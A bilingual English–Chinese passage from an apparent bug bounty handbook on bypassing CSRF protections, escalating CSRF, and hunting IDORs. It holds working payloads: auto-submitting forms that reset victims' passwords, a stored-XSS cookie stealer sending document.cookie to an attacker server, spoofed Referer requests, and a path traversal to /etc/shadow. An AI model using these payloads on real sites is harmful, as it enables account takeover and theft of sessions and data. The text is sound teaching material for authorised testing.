def process_state_changing_action():
  if request.referer:
    validate_referer()
  execute_action()

Since the application validates the referer header only if it exists, you’ve successfully bypassed the website’s CSRF protection just by making the victim’s browser omit the referer header!

由于该应用程序仅在存在 referer header 时进行验证，因此只需使受害者的浏览器省略 referer header，您就成功地绕过了网站的 CSRF 保护！

You can also try to bypass the logic check used to validate the referer URL. Let’s say the application looks for the string "example.com" in the referer URL, and if the referer URL contains that string, the application treats the request as legitimate. Otherwise, it rejects the request:

您还可以尝试绕过用于验证引用URL的逻辑检查。假设应用程序在引用URL中查找字符串"example.com"，如果引用URL包含该字符串，则应用程序将请求视为合法。否则，它将拒绝该请求。

def validate_referer():
  if request.referer:
    if ("example.com" in request.referer):
      pass
  else:
    throw_error("Referer incorrect. Request rejected.")

[...]

def process_state_changing_action():
  validate_referer()
  execute_action()

In this case, you can bypass the referer check by placing the victim domain name in the referer URL as a subdomain. You can achieve this by creating a subdomain named after the victim’s domain, and then hosting the malicious HTML on that subdomain. Your request would look like this:

在这种情况下，您可以通过将受害者的域名作为子域名放置在 referer URL 中来绕过 referer 检查。 您可以通过创建以受害者域名命名的子域名，然后在该子域名上托管恶意 HTML 来实现这一点。 您的请求将如下所示：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: example.com.attacker.com

(POST request body)
new_password=abc123

You can also try placing the victim domain name in the referer URL as a pathname. You can do so by creating a file with the name of the target’s domain and hosting your HTML page there:

你也可以将受害者的域名作为路径名放置在 referer URL 中。你可以通过创建一个以目标域名命名的文件，并在那里托管你的 HTML 页面来实现：

POST /password_change
Host: email.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;
Referer: attacker.com/example.com

(POST request body)
new_password=abc123

After you’ve uploaded your HTML page at the correct location, load that page and see if the state-changing action was executed.

上传正确位置的HTML页面之后，加载该页面并查看是否执行了状态更改操作。

Bypass CSRF Protection by Using XSS

In addition, as I mentioned in Chapter 6 , any XSS vulnerability will defeat CSRF protections, because XSS will allow attackers to steal the legitimate CSRF token and then craft forged requests by using XMLHttpRequest . Often, attackers will find XSS as the starting point to launch CSRFs to take over admin accounts.

此外，如我在第六章中所提到的，任何XSS漏洞都将破坏CSRF保护，因为XSS将允许攻击者窃取合法的CSRF令牌，然后通过使用XMLHttpRequest构造伪造请求。经常，攻击者会将XSS作为启动CSRF攻击以接管管理员帐户的起点。

Escalating the Attack

After you’ve found a CSRF vulnerability, don’t just report it right away! Here are a few ways you can escalate CSRFs into severe security issues to maximize the impact of your report. Often, you need to use a combination of CSRF and other minor design flaws to discover these.

在找到 CSRF 漏洞后，不要立即报告！以下是一些方法，可以将 CSRF 升级为严重的安全问题，以最大化报告的影响。通常，您需要结合 CSRF 和其他轻微的设计缺陷才能发现这些问题。

Leak User Information by Using CSRF

CSRF can sometimes cause information leaks as a side effect. Applications often send or disclose information according to user preferences. If you can change these settings via CSRF, you can pave the way for sensitive information disclosures.

CSRF有时会导致信息泄漏作为副作用。 应用程序通常根据用户偏好发送或披露信息。 如果您可以通过CSRF更改这些设置，您就可以为敏感信息披露铺平道路。

For example, let’s say the example.com web application sends monthly billing emails to a user-designated email address. These emails contain the users’ billing information, including street addresses, phone numbers, and credit card information. The email address to which these billing emails are sent can be changed via the following request:

例如，假设example.com Web应用程序向用户指定的电子邮件地址发送每月账单电子邮件。这些电子邮件包含用户的账单信息，包括街道地址、电话号码和信用卡信息。通过以下请求可以更改发送这些账单电子邮件的电子邮件地址：

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&csrf_token=871caef0757a4ac9691aceb9aad8b65b

Unfortunately, the CSRF validation on this endpoint is broken, and the server accepts a blank token. The request would succeed even if the csrf_token field is left empty:

不幸的是，此端点上的CSRF验证已损坏，服务器接受空令牌。即使csrf_token字段为空，请求也会成功：

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=NEW_EMAIL&csrf_token=

An attacker could make a victim user send this request via CSRF to change the destination of their billing emails:

攻击者可能会通过跨站请求伪造使受害用户发送该请求，从而更改其帐单电子邮件的目的地。

POST /change_billing_email
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
email=ATTACKER_EMAIL&csrf_token=

All future billing emails would then be sent to the attacker’s email address until the victim notices the unauthorized change. Once the billing email is sent to the attacker’s email address, the attacker can collect sensitive information, such as street addresses, phone numbers, and credit card information associated with the account.

未来的所有计费电子邮件将发送到攻击者的电子邮件地址，直到受害者注意到未经授权的更改。一旦计费电子邮件发送到攻击者的电子邮件地址，攻击者可以收集与账户相关的敏感信息，如街道地址、电话号码和信用卡信息。

Create Stored Self-XSS by Using CSRF

Remember from Chapter 6 that self-XSS is a kind of XSS attack that requires the victim to input the XSS payload. These vulnerabilities are almost always considered a nonissue because they’re too difficult to exploit; doing so requires a lot of action from the victim’s part, and thus you’re unlikely to succeed. However, when you combine CSRF with self-XSS, you can often turn the self-XSS into stored XSS.

请记得第6章中提到的自XSS是一种需要受害者输入XSS载荷的XSS攻击。这些漏洞几乎总被认为是一个无需担心的问题，因为它们太难利用了；要这样做需要受害者采取很多行动，因此你很少能够成功。然而，当你将CSRF与自XSS结合时，你经常可以将自XSS转化为存储XSS。

For example, let’s say that example.com ’s financial subdomain, finance.example.com , gives users the ability to create nicknames for each of their linked bank accounts. The account nickname field is vulnerable to self-XSS: there is no sanitization, validation, or escaping for user input on the field. However, only the user can edit and see this field, so there is no way for an attacker to trigger the XSS directly.

比如说，假设example.com的财务子域名finance.example.com让用户为他们链接的每个银行账户创建昵称。账户昵称字段容易受到自我XSS:该字段上没有对用户输入进行消毒、验证或转义。然而，只有用户能够编辑和查看这个字段，因此攻击者无法直接触发XSS。

However, the endpoint used to change the account nicknames is vulnerable to CSRF. The application doesn’t properly validate the existence of the CSRF token, so simply omitting the token parameter in the request will bypass CSRF protection. For example, this request would fail, because it contains the wrong token:

然而，用于更改帐户昵称的端点易受 CSRF 攻击。该应用程序未正确验证 CSRF 令牌的存在，因此在请求中省略令牌参数将绕过 CSRF 保护。例如，此请求将失败，因为它包含错误的令牌：

POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"
&csrf_token=WRONG_TOKEN

But this request, with no token at all, would succeed:

但是没有任何令牌的这个请求仍然会成功。

POST /change_account_nickname
Host: finance.example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
account=0
&nickname="<script>document.location='http://attacker_server_ip/
cookie_stealer.php?c='+document.cookie;</script>"

This request will change the user’s account nickname and store the XSS payload there. The next time a user logs into the account and views their dashboard, they’ll trigger the XSS.

这个请求将更改用户帐户的昵称，并将XSS负载存储在那里。下次用户登录并查看其仪表板时，就会触发XSS。

Take Over User Accounts by Using CSRF

Sometimes CSRF can even lead to account takeover. These situations aren’t uncommon, either; account takeover issues occur when a CSRF vulnerability exists in critical functionality, like the code that creates a password, changes the password, changes the email address, or resets the password.

有时候，跨站请求伪造甚至可以导致账户被接管。这种情况并不罕见；如果在关键的功能上，比如创建、更改、重置密码或更改电子邮件地址的代码中存在CSRF漏洞，则可能会出现账户被接管的问题。

For example, let’s say that in addition to signing up by using an email address and password, example.com also allows users to sign up via their social media accounts. If a user chooses this option, they’re not required to create a password, as they can simply log in via their linked account. But to give users another option, those who’ve signed up via social media can set a new password via the following request:

例如，假设除了通过电子邮件地址和密码注册外，example.com还允许用户通过其社交媒体帐户进行注册。如果用户选择此选项，则不需要创建密码，因为他们可以通过已链接的帐户直接登录。但为了给用户另一个选项，通过社交媒体注册的用户可以通过以下请求设置新密码。

POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=XXXXX&csrf_token=871caef0757a4ac9691aceb9aad8b65b

Since the user signed up via their social media account, they don’t need to provide an old password to set the new password, so if CSRF protection fails on this endpoint, an attacker would have the ability to set a password for anyone who signed up via their social media account and hasn’t yet done so.

由于用户是通过其社交媒体账户注册的，因此在设置新密码时无需提供旧密码，因此如果在此端点上CSRF保护失败，则攻击者将有能力为任何通过其社交媒体账户注册但尚未设置密码的人设置密码。

Let’s say the application doesn’t validate the CSRF token properly and accepts an empty value. The following request will set a password for anyone who doesn’t already have one set:

假设应用程序没有正确验证CSRF令牌，而是接受空值。以下请求将为尚未设置密码的任何人设置密码：

POST /set_password
Host: example.com
Cookie: session_cookie=YOUR_SESSION_COOKIE;

(POST request body)
password=XXXXX&csrf_token=

Now all an attacker has to do is to post a link to this HTML page on pages frequented by users of the site, and they can automatically assign the password of any user who visits the malicious page:

现在攻击者只需要在经常被网站用户访问的页面上发布这个 HTML 页面的链接，他们就可以自动分配任何访问恶意页面的用户的密码：

<html>
  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
    <input type="text" name="new_password" value="this_account_is_now_mine">
    <input type="text" name="csrf_token" value="">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

After that, the attacker is free to log in as any of the affected victims with the newly assigned password this_account_is_now_mine .

此后，攻击者可以使用新分配的密码this_account_is_now_mine以受影响的任何受害者的登录身份。

While the majority of CSRFs that I have encountered were low-severity issues, sometimes a CSRF on a critical endpoint can lead to severe consequences.

虽然我遇到的大多数CSRF都是低严重性问题，但是有时候在关键节点发生的CSRF可能会产生严重后果。

Delivering the CSRF Payload

Quite often in bug bounty reports, you’ll need to show companies that attackers can reliably deliver a CSRF payload. What options do attackers have to do so?

在漏洞赏金报告中，有时候你需要向公司展示攻击者可以可靠地提供CSRF负载。攻击者有哪些选项可以这样做？

The first and simplest option of delivering a CSRF payload is to trick users into visiting an external malicious site. For example, let’s say example.com has a forum that users frequent. In this case, attackers can post a link like this on the forum to encourage users to visit their page:

交付CSRF负载的第一个和最简单的选项是欺骗用户访问一个外部恶意网站。例如，假设example.com有一个用户经常访问的论坛。在这种情况下，攻击者可以在论坛上发布像这样的链接，以鼓励用户访问他们的页面:

Visit this page to get a discount on your example.com subscription: https://example.attacker.com

And on example.attacker.com , the attacker can host an auto-submitting form to execute the CSRF:

在example.attacker.com这个网站上，攻击者可以托管一个自动提交表单来执行CSRF攻击：

<html>
  <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
    <input type="text" name="new_password" value="this_account_is_now_mine">
    <input type='submit' value="Submit">
  </form>
  <script>document.getElementById("csrf-form").submit();</script>
</html>

For CSRFs that you could execute via a GET request, attackers can often embed the request as an image directly—for example, as an image posted to a forum. This way, any user who views the forum page would be affected:

对于可以通过GET请求执行的CSRF攻击，攻击者通常可以将请求嵌入到像是发布到论坛的图片中。这样，任何查看论坛页面的用户都会受到影响。

<img src="https://email.example.com/set_password?new_password=this_account_is_now_mine">

Finally, attackers can deliver a CSRF payload to a large audience by exploiting stored XSS. If the forum comment field suffers from this vulnerability, an attacker can submit a stored-XSS payload there to make any forum visitor execute the attacker’s malicious script. In the malicious script, the attacker can include code that sends the CSRF payload:

最后，攻击者可以通过利用存储的XSS向广大受众传递CSRF有效负载。如果论坛评论字段存在此漏洞，攻击者可以在那里提交存储的XSS有效负载，使任何论坛访问者执行攻击者的恶意脚本。在恶意脚本中，攻击者可以包含发送CSRF有效负载的代码。

<script>
  document.body.innerHTML += "
    <form method="POST" action="https://email.example.com/set_password" id="csrf-form">
      <input type="text" name="new_password" value="this_account_is_now_mine">
      <input type='submit' value="Submit">
    </form>";
  document.getElementById("csrf-form").submit();
</script>

This piece of JavaScript code adds our exploit form to the user’s current page and then auto-submits that form.

这段JavaScript代码将我们的漏洞表单添加到用户当前的页面，然后自动提交该表单。

Using these delivery methods, you can show companies how attackers can realistically attack many users and demonstrate the maximum impact of your CSRF vulnerability. If you have Burp Suite Pro, or use the ZAP proxy, you can also take advantage of their CSRF POC-generation functionality. For more information, search the tools’ documentation for CSRF POC generation . You can also keep a POC script you wrote yourself and insert a target site’s URLs into the script every time you test a new target.

使用这些交付方式，您可以向公司展示攻击者如何实际攻击许多用户，并展示您的CSRF漏洞的最大影响。如果您有Burp Suite Pro，或使用ZAP代理，您还可以利用它们的CSRF POC生成功能。有关更多信息，请搜索工具文档以获取CSRF POC生成的信息。您还可以保留自己编写的POC脚本，并在每次测试新目标时将目标网站的URL插入脚本中。

Finding Your First CSRF!

Armed with this knowledge about CSRF bugs, bypassing CSRF protection, and escalating CSRF vulnerabilities, you’re now ready to look for your first CSRF vulnerability! Hop on a bug bounty program and find your first CSRF by following the steps covered in this chapter:

具备有关CSRF漏洞、绕过CSRF保护和升级CSRF漏洞的知识，你现在已经可以寻找你的第一个CSRF漏洞了！参加漏洞赏金计划并按照本章节中所述的步骤找到你的第一个CSRF漏洞吧。

Spot the state-changing actions on the application and keep a note on their locations and functionality.

Check these functionalities for CSRF protection. If you can’t spot any protections, you might have found a vulnerability!

If any CSRF protection mechanisms are present, try to bypass the protection by using the protection-bypass techniques mentioned in this chapter.

Confirm the vulnerability by crafting a malicious HTML page and visiting that page to see if the action has executed.

Think of strategies for delivering your payload to end users.

Draft your first CSRF report!

10
Insecure Direct Object References

Like XSS and open redirects, insecure direct object references ( IDORs) are a type of bug present in almost every web application. They happen when the application grants direct access to a resource based on the user’s request, without validation.

与XSS和开放式重定向一样，不安全的直接对象引用（IDOR）是几乎每个Web应用程序都存在的类型错误。当应用程序在不进行验证的情况下基于用户请求直接访问资源时，就会发生这种情况。

In this chapter, we’ll explore how these work. Then we’ll dive into how applications prevent IDORs, and how you can bypass those common protection mechanisms.

在本章中，我们将探讨它们的工作原理。然后，我们将深入研究应用程序如何防止IDOR，并介绍如何绕过这些常见的保护机制。

Mechanisms

Despite its long and intimidating name, IDOR is easy to understand; it’s essentially a missing access control. IDORs happen when users can access resources that do not belong to them by directly referencing the object ID, object number, or filename.

尽管IDOR这个名称很长且令人畏惧，但其实很容易理解；它基本上是一种缺少访问控制的漏洞。当用户可以通过直接引用对象ID，对象编号或文件名来访问不属于他们的资源时，就会出现IDOR漏洞。

For example, let’s say that example.com is a social media site that allows you to chat with others. When you sign up, you notice that your user ID on the site is 1234 . This website allows you to view all your messages with your friends by clicking the View Your Messages button located on the home page. When you click that button, you get redirected to this location, which displays all your direct messages: https://example.com/messages?user_id=1234.

例如，假设example.com是一个可以与他人聊天的社交媒体网站。当您注册时，您会注意到您在该网站上的用户ID是1234。这个网站允许您通过单击主页上的查看消息按钮查看与朋友的所有消息。当您单击该按钮时，会被重定向到此位置，该位置显示所有您的直接消息：https://example.com/messages？user_id=1234。

Now, what if you change the URL in the URL bar to https://example.com/messages?user_id=1233 ?

现在，如果您在URL栏中更改URL为https://example.com/messages？user_id = 1233？

You notice that you can now see all the private messages between another user, user 1233 , and their friends. At this point, you’ve found an IDOR vulnerability. The application does not restrict access to messages based on the user’s identity. Instead, it allows users to request any messages that they wish. The application naively trusts user input, and it directly loads resources based on the user-provided user_id value, like this piece of example code:

你注意到你现在可以看到另一个用户1233与他们的朋友之间所有的私人信息。此时，你发现了一项IDOR漏洞。应用程序不会根据用户的身份限制对消息的访问。相反，它允许用户请求他们希望查看的任何消息。应用程序天真地相信用户输入，并根据用户提供的user_id值直接加载资源，例如以下示例代码：

messages = load_messages(request.user_id)
display_messages(messages)

IDORs are not just limited to reading other users’ information, either. You can also use them to edit data on another user’s behalf. For example, let’s say that users can submit a POST request to change their password. The POST request must contain that user’s ID and new password, and they must direct the request to the /change_password endpoint:

IDOR 不仅仅限于阅读其他用户的信息。您还可以使用它们代表另一个用户编辑数据。例如，假设用户可以提交 POST 请求来更改密码。POST 请求必须包含该用户的 ID 和新密码，并且必须将请求直接发送到 /change_password 端点。

POST /change_password

(POST request body)
user_id=1234&new_password=12345

In this case, if the application doesn’t validate that the submitted user ID corresponds to the currently logged-in user, an attacker might be able to change someone else’s password by sending a user ID that doesn’t belong to them, like this:

在这种情况下，如果应用程序不验证提交的用户ID是否对应于当前登录的用户，则攻击者可能会通过发送不属于他们的用户ID来更改其他人的密码，例如：

POST /change_password

(POST request body)
user_id=1233&new_password=12345

Finally, IDORs can affect resources other than database objects. Another type of IDOR happens when applications reference a system file directly. For example, this request allows users to access a file they’ve uploaded: https://example.com/uploads?file=user1234-01.jpeg.

最后，IDOR 可以影响除数据库对象之外的其他资源。另一种类型的 IDOR 发生在应用程序直接引用系统文件时。例如，此请求允许用户访问他们上传的文件：https://example.com/uploads?file=user1234-01.jpeg。

Since the value of the file parameter is user1234–01.jpeg , we can easily deduce that user-uploaded files follow the naming convention of USER_ID-FILE_NUMBER . FILE_EXTENSION . Therefore, another user’s uploaded files might be named user1233–01.jpeg . If the application doesn’t restrict users’ access to files that belong to others, an attacker could access anyone’s uploaded files by guessing the filenames, like this: https://example.com/uploads?file=user1233-01.jpeg.

由于文件参数的值为user1234-01.jpeg，我们可以轻松推断出用户上传的文件遵循USER_ID-FILE_NUMBER.FILE_EXTENSION的命名约定。因此，另一个用户上传的文件可能被命名为user1233-01.jpeg。如果应用程序不限制用户访问属于其他人的文件，攻击者可以通过猜测文件名来访问任何人上传的文件，就像这样：https://example.com/uploads?file=user1233-01.jpeg。

A malicious user might even be able to read sensitive system files through this endpoint! For instance, /etc/shadow is a file on Unix systems used to keep track of user passwords. Because it is sensitive, it should not be exposed to regular users. If you can read the file this way, through a URL like https://example.com/uploads?file=/PATH/TO/etc/shadow, then you’ve found a vulnerability! Attackers being able to read files outside the web root folder is also known as a path traversal attack , or directory traversal attack. We will talk more about directory traversal attacks in Chapter 17.

恶意用户甚至可以通过该端点读取敏感系统文件！例如，在UNIX系统上，/etc/shadow是用于跟踪用户密码的文件。因为它很敏感，所以不应暴露给普通用户。如果您可以通过以下网址https://example.com/uploads？file=/PATH/TO/etc/shadow读取文件，则已找到漏洞！攻击者能够读取Web根目录之外的文件也称为路径遍历攻击或目录遍历攻击。我们将在第17章更多地讨论目录遍历攻击。

Prevention

IDORs happen when an application fails at two things. First, it fails to implement access control based on user identity. Second, it fails to randomize object IDs and instead keeps references to data objects, like a file or a database entry, predictable.

IDOR(IDentify-based Object-level Restriction)的发生是应用程序在两个方面出现问题时发生的。首先，它未能基于用户身份实现访问控制。其次，它没有随机化对象ID，而是保持对数据对象（如文件或数据库记录）的引用可预测。

In this chapter’s first example, you were able to see messages belonging to user 1233 because the server didn’t check the logged-in user’s identity before sending private info. The server wasn’t verifying that you were, in fact, user 1233 . It simply returned the information you asked for.

在本章的第一个例子中，您能够看到属于用户1233的消息，因为服务器在发送私人信息之前并没有检查已登录用户的身份。服务器没有验证您确实是用户1233。它只是返回了您请求的信息。

In this case, since user IDs are simply numbers, it’s easy to infer that you can also retrieve the messages for user 1232 and user 1231 , like so:

在这种情况下，由于用户ID只是数字，因此可以轻松推断您也可以检索用户1232和用户1231的消息，如下所示：

https://example.com/messages?user_id=1232

https://example.com/messages?user_id=1231

This is why the vulnerability is called an insecure direct object reference . The user’s ID is used to directly reference the user’s private messages on this site. If not secured by proper access control, these predictable direct object references expose the data hidden behind them, allowing anyone to grab the information associated with the reference.

这就是为什么漏洞被称为不安全的直接对象引用。用户的ID被用来直接引用该站点上的用户私信。如果没有经过正确的访问控制保护，这些可预测的直接对象引用会暴露其后面的数据，允许任何人获取与引用相关联的信息。

Applications can prevent IDORs in two ways. First, the application can check the user’s identity and permissions before granting access to a resource. For example, the application can check if the user’s session cookies correspond to the user_id whose messages the user is requesting.

应用程序可以通过两种方式防止IDOR。首先，应用程序可以在授予对资源的访问权限之前检查用户的身份和权限。例如，应用程序可以检查用户的会话cookie是否与用户请求的消息所对应的用户ID相对应。

Second, the website can use a unique, unpredictable key or a hashed identifier to reference each user’s resources. Hashing refers to the one-way process that transforms a value into another string. Hashing IDs with a secure algorithm and a secret key makes it difficult for attackers to guess the hashed ID strings. If example.com structured its requests as follows, attackers would no longer be able to access other users’ messages, since there would be no way for an attacker to guess such a long, random user_key value:

其次，该网站可以使用一个唯一、难以预测的密钥或散列标识符来引用每个用户的资源。哈希是指将一个值转换为另一个字符串的单向过程。使用安全算法和秘密密钥对散列 ID 进行处理，可以使攻击者难以猜测散列的 ID 字符串。如果 example.com 将其请求结构化如下，攻击者将不再能够访问其他用户的消息，因为攻击者无法猜测出这样一个长的、随机的 user_key 值：

https://example.com/messages?user_key=6MT9EalV9F7r9pns0mK1eDAEW

But this method isn’t a complete protection against IDORs. Attackers can still leak user information if they can find a way to steal these URLs or user_keys . The best way to protect against IDORs is fine-grained access control, or a combination of access control and randomization or hashing of IDs.

但是这种方法并不能完全保护用户免受IDOR攻击。如果攻击者找到了窃取这些URL或用户密钥的方法，他们仍然可以泄露用户信息。防止IDOR攻击的最佳方法是精细的访问控制，或者将访问控制与ID的随机化或哈希化相结合。

Hunting for IDORs

Let’s hunt for some IDORs! The best way to discover IDORs is through a source code review that checks if all direct object references are protected by access control. We’ll talk about how to conduct source code reviews in Chapter 22 . But if you cannot access the application’s source code, here’s a simple and effective way to test for IDORs.

让我们寻找一些IDORs！发现IDOR的最佳方法是通过源代码审查，检查是否所有直接对象引用都受到访问控制的保护。我们将在第22章中讨论如何进行源代码审查。但是，如果您无法访问应用程序的源代码，这里有一种简单而有效的测试IDOR的方法。

Step 1: Create Two Accounts

First, create two different accounts on the target website. If users can have different permissions on the site, create two accounts for each permission level. For example, create two admin accounts, two regular user accounts, two group member accounts, and two non-group-member accounts. This will help you test for access control issues among similar user accounts, as well as across users with different privileges.

首先，在目标网站创建两个不同的账户。如果用户可以在网站上获得不同的权限，请为每个权限级别创建两个帐户。例如，创建两个管理员帐户、两个普通用户帐户、两个组成员帐户和两个非组成员帐户。这将帮助您测试类似用户帐户之间以及具有不同特权的用户之间的访问控制问题。

Continuing the previous example, you could create two accounts on example.com : user 1235 and user 1236 . One of the accounts would serve as your attacker account, used to carry out the IDOR attacks. The other would be the victim account used to observe the effects of the attack. The message pages for the two users would have the following URLS:

在之前的例子中，你可以在example.com上创建两个帐户：用户1235和用户1236。其中一个帐户将充当攻击者帐户，用于进行IDOR攻击。另一个帐户将被用作受害者帐户，以观察攻击的影响。这两个用户的消息页面将具有以下URLS：

https://example.com/messages?user_id=1235 (Attacker)

https://example.com/messages?user_id=1236 (Victim)

If the application doesn’t allow you to create so many accounts, you could reach out to the company and ask for more accounts. Companies will often grant you extra accounts if you explain that you’re participating in their bug bounty program. Also, if the application has paid memberships, ask the company for a premium account or pay for one yourself. Quite often, paying for these memberships is worth it, because you gain access to new features to test.

如果应用程序不允许您创建很多帐户，您可以联系该公司并要求更多帐户。如果您解释说您正在参与他们的漏洞赏金计划，公司通常会授予您额外的帐户。另外，如果该应用程序有付费会员资格，可以要求公司提供高级帐户或自己支付。很多时候，支付这些会员资格是值得的，因为您可以获得新的测试功能的访问权限。

In addition to testing with two accounts, you should also repeat the testing procedure without signing in. See if you can use an unauthenticated session to access the information or functionalities made available to legitimate users.

除了使用两个账户进行测试外，您还应该在未登录的情况下重复测试程序。查看您是否可以使用未经验证的会话来访问提供给合法用户的信息或功能。

Step 2: Discover Features

Next, try to discover as many application features as possible. Use the highest-privileged account you own and go through the application, looking for application features to test.

接下来，尝试尽可能多地发现应用程序的功能。使用您拥有的最高权限帐户，浏览应用程序，寻找要测试的应用程序功能。

Pay special attention to functionalities that return user information or modify user data. Note them for future reference. Here are some features that might have IDORs on example.com :

特别注意返回用户信息或修改用户数据的功能。将它们记录下来以备将来参考。以下是一些在 example.com 上可能存在 IDOR 的功能特性：

This endpoint lets you read user messages:

https://example.com/messages?user_id=1236

This one lets you read user files:

https://example.com/uploads?file=user1236-01.jpeg

This endpoint deletes user messages:

POST /delete_message

(POST request body)
message_id=user1236-0111

This one is for accessing group files:

https://example.com/group_files?group=group3

This one deletes a group:

POST /delete_group

(POST request body)
group=group3

Step 3: Capture Requests

Browse through each application feature you mapped in the preceding step and capture all the requests going from your web client to the server. Inspect each request carefully and find the parameters that contain numbers, usernames, or IDs. Remember that you can trigger IDORs from different locations within a request, like URL parameters, form fields, filepaths, headers, and cookies.

浏览您在先前步骤中映射的每个应用程序功能，并捕获所有从您的 Web 客户端发送到服务器的请求。仔细检查每个请求，找到包含数字、用户名或 ID 的参数。请记住，您可以从请求的不同位置触发 IDOR，例如 URL 参数、表单字段、文件路径、标头和 cookie。

To make testing more efficient, use two browsers, and log into a different account in each. Then manipulate the requests coming from one browser to see if the change is immediately reflected on the other account. For example, let’s say you create two accounts, 1235 and 1236 . Log into 1235 in Firefox and 1236 in Chrome.

为了使测试更有效率，使用两个浏览器，在每个浏览器中登录不同的账户。然后通过一个浏览器来操纵请求，以查看在另一个账户上是否能立即看到更改。例如，假设您创建了两个账户，1235 和 1236。在 Firefox 中登录到 1235，在 Chrome 中登录到 1236。

Use Burp to modify the traffic coming from Firefox. Turn on Intercept in the Proxy tab and edit requests in the proxy text window ( Figure 10-1 ). Check if your attack has succeeded by observing the changes reflected on the victim account in Chrome.

使用Burp修改来自Firefox 的流量。在代理选项卡中启用拦截，并在代理文本窗口（图10-1）中编辑请求。通过观察Chrome 中受害者账户反映的更改来检查攻击是否成功。

Also, note that APIs like Representational State Transfer (REST) and GraphQL are often found to be vulnerable to IDOR too. We will talk more about hacking APIs in Chapter 24 . Be on the lookout for these endpoints. You can use the recon techniques from Chapter 5 to discover additional endpoints. Then follow this testing methodology to switch out IDs found in those endpoints as well.

还要注意，Representational State Transfer（REST）和GraphQL等API通常也容易受到IDOR攻击。在第24章中，我们将详细讨论如何攻击API。请注意这些端点。您可以使用第5章的侦察技术发现其他端点，然后按照此测试方法来替换这些端点中发现的ID。

Figure 10-1 : Modify the request in Burp’s proxy window to switch out the IDs.

图10-1：在Burp代理窗口中修改请求以替换ID。

Step 4: Change the IDs

Finally, switch the IDs in the sensitive requests and check if the information returned also changes. See if you can access the victim account’s information by using the attacker account. And check if you can modify the second user’s account from the first.

最后，交换敏感请求中的ID，并检查返回的信息是否也发生了变化。尝试使用攻击者帐户访问受害者帐户的信息。并检查是否可以从第一个用户修改第二个用户的帐户信息。

For example, in this setup, you can try to access the functionalities that user 1236 has access to via your Firefox browser:

例如，在这个设置中，您可以通过Firefox浏览器尝试访问用户1236访问权限中的功能：

This endpoint lets you read user messages:

https://example.com/messages?user_id=1236

This one lets you read user files:

https://example.com/uploads?file=user1236-01.jpeg

This endpoint deletes user messages:

POST /delete_message

(POST request body)
message_id=user1236-0111

This one is for accessing group files:

https://example.com/group_files?group=group3

This endpoint deletes a group:

POST /delete_group

(POST request body)
group=group3

If any of these requests succeed in accessing or modifying user 1236 ’s information, you’ve found an IDOR vulnerability.

如果任何一项请求成功访问或修改了用户1236的信息，那么你就发现了一个IDOR漏洞。

Bypassing IDOR Protection

IDORs aren’t always as simple as switching out a numeric ID. As applications become more functionally complex, the way they reference resources also often becomes more complex. Modern web applications have also begun implementing more protection against IDORs, and many now use more complex ID formats. This means that simple, numeric IDORs are becoming rarer. How do we bypass these obstacles and find IDORs anyway?

IDOR攻击不仅仅是简单地切换数字ID那么简单。随着应用功能的复杂化，它们引用资源的方式也变得更加复杂。现代Web应用程序也开始实施更多的防御措施来避免IDOR攻击，许多应用程序现在使用更复杂的ID格式，因此简单的数字IDOR攻击越来越少。我们如何绕过这些障碍并找到IDOR攻击呢？

IDORs can manifest in applications in different ways. Here are a few places to pay attention to, beyond your plain old numeric IDs.

IDOR（间接对象引用）可以以不同的方式在应用程序中表现出来。除了普通的数值ID之外，以下是需要注意的几个地方。

Encoded IDs and Hashed IDs

First, don’t ignore encoded and hashed IDs. When faced with a seemingly random string, always suspect that it is encoded and try to decode it. You should also learn to recognize the most common encoding schemes, like base64, URL encoding, and base64url. For example, take a look at the IDs of this endpoint:

首先，不要忽略编码和哈希ID。当面对看似随机的字符串时，应该怀疑它是被编码了，尝试解码它。你也应该学习认识最常见的编码方案，比如base64，URL编码和base64url。例如，看看这个端点的ID：

https://example.com/messages?user_id=MTIzNQ

https://example.com/messages?user_id=MTIzNg

These user_id s are just the base64url-encoded version of a user’s ID. MTIzNQ is the base64url-encoded string of 1235 , and MTIzNg is the encoded version of 1236 . Some applications use encoding schemes that you can easily reverse. In this case, you can simply encode your false IDs by using an online base64url encoder and executing the IDOR.

这些用户ID只是用户ID的Base64 URL编码版本。MTIzNQ是1235的Base64 URL编码字符串，而MTIzNg是1236的编码版本。一些应用程序使用易于反转的编码方案。在这种情况下，您可以使用在线的Base64 URL编码器对假ID进行编码并执行IDOR。

You might not be able to tell which encoding scheme the site is using at first. In this case, use the Smart Decode tool ( Figure 10-2 ) in Burp’s decoder, or simply try to decode the string with different schemes (URL encoding, HTML encoding, hex encoding, octal encoding, base64, base64url, and so on) to figure out the encoding scheme in use. Once you gain more experience reading encoded data, you’ll develop an intuition for knowing the encoding scheme.

一开始你可能无法确定网站所使用的编码方案。在这种情况下，请使用 Burp 的 Smart Decode 工具（图10-2），或者试着用不同的方案（URL 编码、HTML 编码、十六进制编码、八进制编码、base64、base64url 等）来解码字符串，以确定所使用的编码方案。一旦你获得了更多阅读编码数据的经验，就会发展出对编码方案的直觉。

Figure 10-2 : You can try to use different methods to decode a string in Burp’s decoder. Or you can use the Smart Decode tool and see if Burp can detect the encoding scheme.

图10-2：您可以尝试使用Burp的解码器中的不同方法来解码字符串。或者您可以使用智能解码工具，看看Burp是否能够检测到编码方案。

If the application is using a hashed or randomized ID, see if the ID is predictable. Sometimes applications use algorithms that produce insufficient entropy. Entropy is the degree of randomness of the ID. The higher the entropy of a string, the harder it is to guess. Some IDs don’t have sufficient entropy and can be predicted after careful analysis. In this case, try creating a few accounts to analyze how these IDs are created. You might be able to find a pattern that will allow you to predict IDs belonging to other users.

